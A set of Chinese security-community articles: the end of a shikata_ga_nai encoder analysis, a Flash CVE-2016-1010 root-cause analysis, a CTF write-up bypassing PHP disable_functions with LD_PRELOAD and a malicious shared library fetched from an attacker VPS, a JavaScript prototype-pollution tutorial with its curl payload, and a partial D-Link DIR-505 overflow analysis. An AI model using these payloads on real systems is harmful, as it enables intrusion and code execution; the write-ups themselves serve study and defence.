add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
sub4 = Proc.new { |b| sub_immediate(b.regnum_of(addr_reg), -4) }
add4 = Proc.new { |b| add_immediate(b.regnum_of(addr_reg), 4) }
计算偏移，生成如下四条指令:
LOAD:08048062 B1 1F mov cl, 1Fh
LOAD:08048064 31 7D 1A xor [ebp+1Ah], edi
LOAD:08048067 83 ED FC sub ebp, 0FFFFFFFCh
LOAD:0804806A 03 7D 16 add edi, [ebp+16h]
fpu = Rex::Poly::LogicalBlock.new('fpu',
*fpu_instructions)
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv',
"\xd9\x74\x24\xf4")
fnstenv.depends_on(fpu)
# Get EIP off the stack
getpc = Rex::Poly::LogicalBlock.new('getpc',
Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
getpc.depends_on(fnstenv)
生成 `fpu` 操作指令和 `fnstenv` 指令，来getpc。
可以看到 `\xd9\x74\x24\xf4` 是一个硬编码，这就是一个特征。同时`fpu` 指令也是有限的：
def fpu_instructions
puts "-----sub_immediate : fpu_instructions----------------"
fpus = []
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
fpus << "\xd9\xd0"
fpus << "\xd9\xe1"
fpus << "\xd9\xf6"
fpus << "\xd9\xf7"
fpus << "\xd9\xe5"
# This FPU instruction seems to fail consistently on Linux
#fpus << "\xdb\xe1"
fpus
end
所有可能的指令选择都在 `fpus` 这个数组中了。剩下的部分就不再说了。
### 检测
经过上述的分析，可以发现 `x86/shikata_ga_nai`
编码器的特征也是比较固定的，所以针对这个特征写出专有的静态查杀规则也是比较简单的。本文就不再写了，有兴趣的自己写一个把。 | 社区文章 |
# CVE-2016-1010,近日Flash零日漏洞的根本原因分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/root-cause-analysis-recent-flash-zero-day-vulnerability-cve-2016-1010/>
译文仅供参考，具体内容表达以及含义原文为准。
3月10日,Adobe发布了一个紧急频外(out-of-band, OOB)更新来修补一个被攻击利用的零日(zero-day)漏洞。此漏洞被记录为CVE-2016-1010。为了分析此漏洞,我检测了Flash
Player的一个较早的版本(Flash32_19_0_0_185.ocx file on Windows 7)来对该漏洞进行根本原因分析(Root
Cause Analysis, RCA)。
根本原因分析
在ActionScript 3.0中,BitmapData 类中有一个公共函数 copyPixels定义如下:
public function copyPixels(sourceBitmapData:BitmapData, sourceRect:Rectangle,
destPoint:Point, alphaBitmapData:BitmapData = null, alphaPoint:Point = null,
mergeAlpha:Boolean = false):void
当Flash运行这个函数时,它会使用sourceRect(一个长方形函数),定义如下所示:
public function Rectangle(x:Number = 0, y:Number = 0, width:Number = 0,
height:Number = 0)
这是为了创建一个叫做BitmapData的临时数据结构。在Flash 19.0.0.185中,这可能会有如下结构:
0x08: height // the height of the Bitmap
0x0c: width // the weight of the Bitmap
0x20: pBitmapData // the pointer to the Bitmap Data array
0x24: bytesize // the byte size of each line in Bitmap, byt
为了计算字节大小,Flash使用shl操作,如下图所示。如果width>= 0x40000000, “shl ecx,2”
就会触发一个整数溢出。下一进程的函数使用bytesize*height
来计算分配给pBitmapData的内存大小。如果bytesize溢出,被分配的内存就会低于所需要的大小。
攻击者可以利用此溢出来读或写任意的内存地址,就能有效的执行任意代码。
图1:修复之前的函数
伪代码如下所示:
pBitmapData->width = width;
pBitmapData->height = height;
pBitmapData-> bytesize = 4*width; //trigger integer overflow when
width>0x40000000
int allocSize = pBitmapData->bytesize*height;
allocMemory = allocMemory( allocSize);
pBitmapData-> pBitmapData = allocMemory;
修复漏洞
Flash Player 21.0.0.182中的该漏洞已经被修复了,Adobe是怎么做到的?
原先的shl操作被imul替代了。另外, (edx,eax)
指令记录了width*4的值。如果edx的值非零,它就代表溢出的width。如果这一点可以知道,就可以修改代码解决这个问题了。
图2:修复后的函数
整数溢出漏洞在Flash
Player中很常见。在[APSB16-08](https://helpx.adobe.com/security/products/flash-player/apsb16-08.html) 中,3个整数溢出漏洞(CVE-2016-0963, CVE-2016-0993 和CVE-2016-1010)
已经修补了。在编译过程中加入整数漏洞检测功能可以减少溢出漏洞的数量。
对于终端用户,我们强烈建议持续进行Adobe Flash Player的更新。通过默认设置就能进行自动更新,虽然一些用户可能更习惯于手动更新安装最新的版本。
我们的终端产品中有拥有Browser Exploit Prevention功能的,例如[Trend Micro™
Security](http://www.trendmicro.com/us/home/products/software/index.html),
[Smart Protection Suites](http://www.trendmicro.com.ph/ph/business/complete-user-protection/index.html), 还有 [Worry-Free Business
Security](http://www.trendmicro.com/us/small-business/product-security/)
,只要用户访问装有浏览器漏洞利用防护插件的URL。Browser Exploit Prevention还能保护防止目标浏览器或相关的插件上的漏洞被利用。
使用脚本分析器引擎的沙盒(Sandbox)是[Trend Micro™ Deep
Discovery](http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/)的一部分,它能够不断地检测这些威胁,并且不许要任何引擎或模式的更新。 [Deep
Security](http://www.trendmicro.com/us/enterprise/cloud-solutions/deep-security/) 和 [Vulnerability
Protection](http://www.trendmicro.com/us/enterprise/product-security/vulnerability-protection/) 能通过以下的DPI规则保护用户的系统免受威胁:
· 1007519 – Adobe Flash Player Integer Overflow Vulnerability (CVE-2016-1010) | 社区文章 |
# 深入浅出LD_PRELOAD & putenv()
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
上周利用空余时间，做了一下0ctf，感觉这道bypass disable function的题目比较有趣，于是分析一下，有了此文
## 题目分析
拿到题目
Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900
Hint: eval($_POST["backdoor"]);
题目给了3个信息：
* execute `/readflag` to get the flag
* Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900
* Hint: eval($_POST[“backdoor”]);
我们知道题目是有后门的，但是有`disable_functions`限制，所以我们首先查看一下phpinfo内容
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
过滤非常多，但思路非常清晰：
1.bypass open basedir
2.bypass disable functions
3.execute readflag
## open basedir
我们做个简单的测试
php > ini_set('open_basedir','/var/www/html');
php > var_dump(scandir('/var/www/html'));
array(5) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(7) "hack.so"
[3]=>
string(10) "index.html"
[4]=>
string(23) "index.nginx-debian.html"
}
php > var_dump(scandir('/tmp'));
bool(false)
即open basedir是用来限制访问目录的，我们看一下题目源代码
backdoor=readfile('index.php');
可以得到
<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>
<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>
题目也是使用了这样的限制，我们只能访问
/tmp/md5("$_SERVER[REMOTE_ADDR]);
/var/www/html
那么如何bypass open basedir与disable functions呢这里不难搜到这样一篇文章
https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
文中提及，我们可以用`LD_PRELOAD`+`putenv`打一套组合拳，既能绕过open basedir，又能绕过disable functions
## LD_PRELOAD与putenv
这里我们先来看一下原理，首先什么是LD_PRELOAD？
google给出如下定义
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
即LD_PRELOAD这个环境变量指定路径的文件，会在其他文件被调用前，最先被调用
而putenv可以设置环境变量
putenv ( string $setting ) : bool
添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
同时该函数也未被过滤。那么我们可以有如下骚操作：
1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数，触发specific shared library
4.成功进行RCE
而既然要在php运行时被触发，那么势必选择一个非常常用的函数才行
那么怎么找到这个函数呢？
## 传统方式(hijacking function)
在已有的文章中显示，一般使用php`mail()`函数进行触发，我们简单分析一下
这里简单写个demo
<?php
mail('','','','');
?>
我们strace一下，可以看到运行这个脚本的时候，程序会启子进程来调用sendmail
execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0
那么我们只要看一下sendmail使用了哪些函数
有很多函数可以使用，这里可以选择geteuid()，然后我们编写自己的evil shared libraries：hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然后编译一下
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
然后我们运行脚本
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
不难发现它执行了命令，然后可以发现/tmp目录下多了一个文件sky
root@sky:~# ls /tmp | grep sky
sky
我们查看一下
root@sky:~# cat /tmp/sky
bin
boot
dev
etc
home
lib
lib32
....
发现成功执行命令
## 改进版(hijack shared library)
但其实这个方法是将条件变得严苛了，我们干的事情局限于找到一个函数，然后对其进行注入
但实际上我们可以更加直接，我们先将sendmail进行删除
如图所示现在已经没有了sendmail，但我们依旧可以进行rce，可使用如下文件sky.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
其中`__attribute__ ((__constructor__))`有如下说明
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
所以当我们最开始将evil shared library load上后，就会触发`__attribute__
((__constructor__))`，从而达成我们rce的目的.
## 函数寻找
但本题中mail函数已被disable_functions限制，所以我们并不能按照上述模式进行攻击。那么我们要找到一个什么样的函数才能满足我们的条件呢？
从上述内容不难发现，我们必须找到一个能在运行时候启动子进程的函数才行，因为我们设置了环境变量，必须restart才能生效，所以如果能启动一个子进程，那么我们的设置的LD_PRELOAD就会加载我们的evil
shared library.
这里我们发现题目提示
So I installed php-imagick in the server, opened a `backdoor` for you.
所以我们主要探究php-imagick到底能不能干类似的事情
我们阅读php-imagick源码
https://github.com/ImageMagick/ImageMagick
我们发现如下对应关系
我们发现当文件是MPEG format时，程序会调用’ffmpeg’ program进行转换，而如下后缀都被认为成MPEG format
我们测试一下.wmv
写出脚本
<?php
$img = new Imagick('sky.wmv');
?>
我们测试一下
execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0
[pid 25217] execve("/bin/sh", ["sh", "-c", ""ffmpeg" -v -1 -i "/tmp/magick-2"...], [/* 21 vars */]) = 0
可以发现的确成功启动了子进程，调用了ffmpeg
但是如果sky.wmv文件不存在时
execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0
则不会调用ffmpeg
所以也不难分析出，应该是有一步判断文件是否存在的操作，再会去进行调用相关程序进行解码转换的操作
所以如果想利用Imagick新起子进程，那么我们得先有后面的参数文件，当然这并不是什么难事。
## payload & attack
那么只剩最后的攻击了，找到了可以起子进程的方式，只差构造evil shared library了
我们还是用之前的sky.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}
然后编译一下
gcc -c -fPIC sky.c -o sky
gcc --share sky -o sky.so
测试一下
<?php
putenv("LD_PRELOAD=./sky.so");
$img = new Imagick('sky.wmv');
?>
运行发现
root@sky:~# php sky.php
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 lost+found media mnt opt proc root run sbin srv sys test tmp usr var vmlinuz vmlinuz.old
PHP Fatal error: Uncaught ImagickException: unable to open image `/tmp/magick-25528VpF8npGTawCz.pam': No such file or directory @ error/blob.c/OpenBlob/2712 in /root/sky.php:3
Stack trace:
#0 /root/sky.php(3): Imagick->__construct('sky.wmv')
#1 {main}
thrown in /root/sky.php on line 3
我们成功的进行了列目录
## getflag
那么现在思路很清晰：
1.把我们的sky.so和sky.wmv上传到题目的/tmp/sandbox中
2.利用backdoor运行sky.php
3.在tmp目录读取重定向的结果
首先我们按照题目意思，调用/readflag
文件内容为
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/d4dabdbc73b87e364e29e60c60a92900/flag");
}
然后是上传文件，我们有很多种方法，这里可以使用
$upload = '/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so';
echo copy("http://vps_ip/sky.wmv", $upload);
我们可以看到上传成功了
然后我们执行
putenv("LD_PRELOAD=/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so");
$img = new Imagick('/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.wmv');
可以看到flag已经打到了/tmp目录下
我们进行读取即可
## 后记
这个题目还是比较有趣的，学习到了不少姿势~
## 参考链接
<https://shinmao.github.io/websecurity/2019/01/09/Bypass-disablefuncs-with-LDPRELOAD/>
<https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/>
<https://github.com/ImageMagick/ImageMagick>
<https://blog.csdn.net/niexinming/article/details/52997496> | 社区文章 |
# 介绍
prototype——原型
原型污染攻击，顾名思义，就是污染基本对象的原型，这有时还会导致RCE。Olivier Arteau对此进行了更深层次的研究，并在[NorthSec
2018](https://www.youtube.com/watch?v=LUsiFV3dsK8 "NorthSec 2018")大会上做了演讲。让我们以
Nullcon HackIm 2019的proton为例，深入了解该漏洞：
# JavaScript中的对象
JavaScript中的对象只是键值对的集合，其中每对都称为属性。让我们举一个例子来说明(您可以使用浏览器控制台亲自尝试执行)：
var obj = {
"name": "0daylabs",
"website": "blog.0daylabs.com"
}
obj.name; // prints "0daylabs"
obj.website; // prints "blog.0daylabs.com"
console.log(obj); // prints the entire object along with all of its properties.
在上面的示例中，name和website是对象obj的属性。仔细查看最后一条语句，`console.log`打印出的信息比我们显式定义的属性要多得多。输出的多余信息来自哪里？
`Object`是创建所有其他对象的基本对象。我们可以通过在对象创建过程中传递参数`null`来创建一个空对象(没有任何属性)，在默认情况下，这会创建一个与其值对应的类型的对象，并将所有属性继承给新创建的对象(除非其为null)。
console.log(Object.create(null)); // prints an empty object
# javaScript中的函数/类？
在javaScript中，类和函数的概念是相对的(函数本身充当类的构造函数，并且没有明确的“类”本身)。让我们举个栗子：
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
}
}
console.log(person.prototype); // prints the prototype property of the function
/*
{constructor: ƒ}
constructor: ƒ person(fullName, age)
__proto__: Object
*/
var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);
console.log(person1);
/*
person {age: 25, fullName: "Anirudh"}
age: 45
fullName: "Anand"
__proto__:
constructor: ƒ person(fullName, age)
arguments: null
caller: null
length: 2
name: "person"
prototype: {constructor: ƒ}
__proto__: ƒ ()
[[FunctionLocation]]: VM134:1
[[Scopes]]: Scopes[1]
__proto__: Object
*/
console.log(person2);
/*
person {age: 45, fullName: "Anand"}
age: 45
fullName: "Anand"
__proto__:
constructor: ƒ person(fullName, age)
arguments: null
caller: null
length: 2
name: "person"
prototype: {constructor: ƒ}
__proto__: ƒ ()
[[FunctionLocation]]: VM134:1
[[Scopes]]: Scopes[1]
__proto__: Object
*/
person1.details(); // prints "Anirudh has age: 25"
在上面的示例中，我们定义了一个名为person的函数，并创建了两个名为person1和person2的对象。如果我们关注一下新创建的函数和对象的属性，我们可以注意到两点：
创建函数时，JavaScript引擎包含该函数的`prototype`属性。这个`prototype`属性是一个对象(称为`prototype`对象)，默认情况下有一个构造函数属性，该属性指向`prototype`对象属性所在的函数。
创建对象时，JavaScript引擎将`__proto__`属性添加到新创建的对象中，该对象指向构造函数的prototype对象。简而言之,`object.__proto__`指向`function.prototype`。
# Constructor
Constructor是一个神奇的属性，它返回用于创建对象的函数。
var person3 = new person("test", 55);
person3.constructor; // prints the function "person" itself
person3.constructor.constructor; // prints ƒ Function() { [native code] } <- Global Function constructor
person3.constructor.constructor("return 1");
/*
ƒ anonymous(
) {
return 1
}
*/
// Finally call the function
person3.constructor.constructor("return 1")(); // returns 1
# JavaScript中的原型(prototype)
这里需要注意的一点是，可以在运行时修改prototype属性来添加/删除/编辑条目。例如：
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
}
var person1 = new person("Anirudh", 25);
person.prototype.details = function() {
return this.fullName + " has age: " + this.age;
}
console.log(person1.details()); // prints "Anirudh has age: 25"
我们在上面做的是修改函数的原型，添加一个新的属性。使用对象可以获得相同的结果：
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
}
var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);
// Using person1 object
person1.constructor.prototype.details = function() {
return this.fullName + " has age: " + this.age;
}
console.log(person1.details()); // prints "Anirudh has age: 25"
console.log(person2.details()); // prints "Anand has age: 45" :O
注意到什么可疑的地方了吗？我们修改了`person1`对象，但是为什么`person2`也受到了影响？原因是在第一个示例中，我们直接修改了person.prototype以添加一个新属性，但是在第二个示例中，我们通过使用对象完成了完全相同的操作。我们已经看到构造函数返回用于创建对象的函数，因此`person1.constructor`指向函数`person`本身,并且`person1.constructor.prototype`与`person.prototype`相同。
# 原型污染
举个栗子：`obj[a][b] =
value`。如果攻击者可以控制`a`和`value`,则可以将a的值设置为`__proto__`，并且将使用值`value`为应用程序的所有现有对象定义属性b。
攻击并没有上面说的这么轻描淡写，根据[研究报告](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
"研究报告")，只有在以下任何一种情况发生时才可以展开攻击：
对象递归合并
按路径定义属性
对象克隆
以`Nullcon HackIM`一个题目为例，深入研究一下。
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
代码首先定义一个函数merge,关于合并两个对象的设计是非常不安全的。由于执行merge()的库的最新版本已经打了补丁，这道题目使用了旧方法合并对象，从而易受到攻击。
在上面的代码中，我们可以快速注意到的一点是将2 个“admins”定义为`const admin`和`var
аdmin`。理想情况下，JavaScript中不允许将const变量再次定义为var，所以其中一点有不同的地方。我花了很长时间才弄清楚，其中一个是正常的a，而另一个是其他的a(同形异义字)。我并没有浪费过多的时间在这上面，我将其重命名为正常的a，继续进行研究。
从源代码入手：
`Merge()`函数是以一种可能发生原型污染的方式编写的(本文后面将对此进行更多分析)。这是问题分析的关键。
易受攻击的函数是在通过`clone(body)`访问`/signup`时被调用的，因此我们可以在注册时发送JSON有效负载，这样就可以添加admin属性并立即调用`/getFlag`来获取Flag。
如前所述，我们可以使用`__proto__`(points to constructor.prototype)来创建值为1的`admin`属性。
执行相同操作的最简单的payload
{"__proto__": {"admin": 1}}
因此，解决问题的最终payload(使用curl，因为我不能通过burp发送同形异义字)：
curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'
# Merge()-为什么它易受攻击？
一个很迫切的问题，Merge()函数为什么易受攻击？以下是它的工作原理和易受攻击的原因：
该函数首先迭代第二个对象b上的所有属性(因为在相同的键值对的情况下，第二个对象是优先的)。
如果属性同时存在于第一个和第二个参数上，并且它们都是`Object`类型，那么Merge()函数将重新开始合并它。
现在，如果我们可以控制`b[attr]`的值，将`attr`设为`__proto__`，也可以控制b中`proto`属性内的值，那么当递归时，`a[attr]`在某个点实际上将指向对象a的原型，我们可以成功地向所有对象添加一个新属性。
让我们通过编写一些调试语句来更好的理解。
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
console.log(b); // prints { __proto__: { admin: 1 } }
for (var attr in b) {
console.log("Current attribute: " + attr); // prints Current attribute: __proto__
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
现在，让我们尝试发送上面提到的curl请求。对象b现在的值为：`{ __proto__: { admin: 1 }
}`,其中`__proto__`只是一个属性名，实际上并不指向函数原型。现在，在函数`merge()`中，`for (var attr in
b)`迭代每个属性，其中第一个属性的名称是`__proto__`。
因为它总是Object类型，所以它开始递归调用，这次是`merge(a[__proto__],
b[__proto__])`。这实际上帮助我们访问了a的函数原型，并添加了在b的proto属性中定义的新属性。
# 参考
<https://www.youtube.com/watch?v=LUsiFV3dsK8>
<https://hackernoon.com/prototypes-in-javascript-5bba2990e04b>
<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object>
翻译文章：https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/#merge---why-was-it-vulnerable | 社区文章 |
# CVE-2014-3936 dir-505 数组越界缓冲区溢出
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞分析
CVE-2014-3936 是发生在 dlink 旗下路由器 dir-505 的缓冲区溢出漏洞，漏洞存在于固件版本 1.07 及以前的 HNAP
处理程序中，漏洞发生在 HNAP 处理请求的时候，将 CONTENT_LENGTH 大小的数据直接复制到了缓冲区中，如果 CONTENT_LENGTH
大小超过了缓冲区大小，就会导致缓冲区溢出，进而实现代码执行。总之，是一个数组越界导致缓冲区溢出的漏洞。
此次漏洞分析采用的是 dir-505 固件版本 1.07，漏洞下载地址见参考链接。通过分析固件的文件系统，可以知道服务器采用的是 lighttpd
作为后端，lighttpd 也是嵌入式设备经常使用的一个小型 http server。发生漏洞的程序是 ./usr/bin/my_cgi.cgi，使用的是
fastcgi 调用过程，当收到 uri 为 HNAP1 的数据包时，会将数据包通过环境变量和标准输入 STDIN 传给 my_cgi.cgi 进行处理。
漏洞发生的位置是在 main -> do_hnap 函数中，do_hnap 函数在从环境变量中读取数据的时候，先读取数据包长度
CONTENT_LENGTH，然后根据其大小，通过一个循环，从标准输入中每次读取一个字节放在函数栈上的缓冲区中。如果 CONTENT_LENGTH
过大，就会导致缓冲区溢出，实际上就是数据包的数据够多，就会发生缓冲区溢出。IDA 中反编译的关键流程如下：
int do_hnap()
{
dec_content_length = 0;
content_length = getenv("CONTENT_LENGTH"); // 从环境变量获取 CONTENT_LENGTH
if ( content_length )
dec_content_length = strtol(content_length, 0, 10); // 将 CONTENT_LENGTH 转化为 10 进制
...
if ( dec_content_length > 0 )
{
loop_pointer = v12; // 指向 buf 的起始位置
end_of_buf = &v12[dec_content_length]; // 指向 buf 的结束位置
memset(v12, 0, sizeof(v12)); // 对 buf 清零
while ( stdin->_fileno )
{
v6 = stdin->_IO_write_base;
if ( v6 >= stdin->_IO_write_end )
{
v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 实际上是一个函数指针
LABEL_21:
v7 = ((int (*)(void))v8)(); // 调用 fgetc
goto LABEL_22;
}
v7 = *v6;
stdin->_IO_write_base = v6 + 1;
LABEL_22:
*loop_pointer++ = v7; // 将 fgetc 读取到的字符写入到 buf
if ( loop_pointer == end_of_buf ) // 结束从 STDIN 中读取
{
...
}
}
v8 = &fgetc;
在 do_hnap 函数中，函数执行完毕后的返回地址在初始化堆栈的时候存放在 sp + 0x7574，缓冲区的起始地址是 sp + 0x30，那么一共需要
30020 个字节使缓冲区溢出，再额外溢出 4 个字节就可以修改保存再堆上的返回地址，最后 do_hnap 函数执行完毕将返回地址从栈中取出到 ra
寄存器然后跳转，就可以达到劫持控制流的目的。缓冲区的起始地址可以从 IDA 直接反编译得到。
.text:00430DBC sw $ra, 0x7560+var_s14($sp) # 保存返回地址到栈上
...
.text:00431168 lw $ra, 0x7574($sp) # 从栈上恢复返回地址跳转执行
...
.text:00431184 jr $ra
.text:00431188 addiu $sp, 0x7578
## 环境搭建
后端的 server 是 lighttpd，一开始没有在固件根目录下面找到 html 文件，在 cq 师傅的提醒下，先分析系统的启动脚本
./etc/rc.d/rcS。在启动脚本中，挂载一些设备和创建相关目录，然后是系统初始化程序 system_manager 运行，在其中也会通过
system 函数执行一些命令。如下是系统初始化脚本。
#!/bin/ash
# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount +w /
# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp
# 此处会覆盖掉原来的 etc 目录
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
ln -sf /etc/hotplug/hotplug /sbin/hotplug
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
# 系统初始化程序
#/bin/echo "Init System..."
system_manager &
#/bin/echo "Start tftpd..."
tftpd &
将系统初始化程序 system_manager 放入 IDA 分析，在 main -> init_system -> init_web_server ->
init_html_files 中可以看到是如何将原本存放在 mnt 目录下的 html 文件解压出来的，那我们在启动 lighttpd
之前就可以手动执行相关的命令，将 html 文件准备好。
int init_html_files()
{
system("tar -zxf /etc/www.tgz");
system("rm -f /etc/www.tgz");
if ( !byte_416321 )
system("mv /www/ap/* /www");
system("rm -rf /www/ap");
if ( byte_416321 == 2 )
system("mv /www/rt/* /www");
system("rm -rf /www/rt");
if ( byte_416321 == 3 )
system("mv /www/rpt/* /www");
system("rm -rf /www/rpt");
if ( byte_416321 == 4 )
system("mv /www/whp/* /www");
system("rm -rf /www/whp");
system("cp -f /usr/bin/my_cgi.cgi /www");
copy_default_xml();
return read_lang_from_flash();
}
最后是看 system_manager 是如何启动 lighttpd 的，可以在 IDA 中直接搜索字符串 lighttpd，定位到
init_web_server 函数中，然后分析 system 函数传入的参数，就可以得到 lighttpd 的启动命令 `lighttpd -f
/etc/lighttpd/lighttpd.conf`。此处如果直接 F5 的话，分析得到的 system 传入命令不完整。
.text:00403C00 addiu $a0, (aLighttpdFS - 0x400000) # "lighttpd -f %s &"
.text:00403C04 addiu $a1, (aEtcLighttpdLig_0 - 0x400000) # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr $t9 ; _system
.text:00403C0C addiu $sp, 0x20
以上是分析工作，实际上真正启动服务器，可以先直接执行启动脚本 ./etc/rc.d/rcS，执行完之后，./etc 目录被原本 ./mnt
中的文件替代了，html 文件被解压出来放在了 ./www 文件夹中。运行如下命令，就可以启动 http 服务了。
# 进入固件根目录
chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 这个地方会卡住 因为有些 /dev 没有被挂载，例如 nvram
chroot . ./usr/bin/system_manager
# 启动 lighttpd，-D 不进入后台运行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D
## 漏洞复现
上述的环境搭建其实是不完善的，例如登录操作这种需要 nvram 的根本执行不了，好在这次漏洞是一个无需认证的漏洞。我没有找到在 lighttpd
中是怎么调用的 my_cgi.cgi，那就直接调试 cgi，通过环境变量传入数据进行调试。
幸运的是，可以直接使用 QEMU 进行调试这个漏洞，漏洞的触发过程也不涉及到额外的 patch 工作。首先分析如何才能使代码执行到 do_hnap
函数中存在漏洞的代码处。在 main 函数中，需要设置环境变量 SCRIPT_NAME = HNAP1，使之进入 do_hnap 函数，然后设置环境变量
SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity |
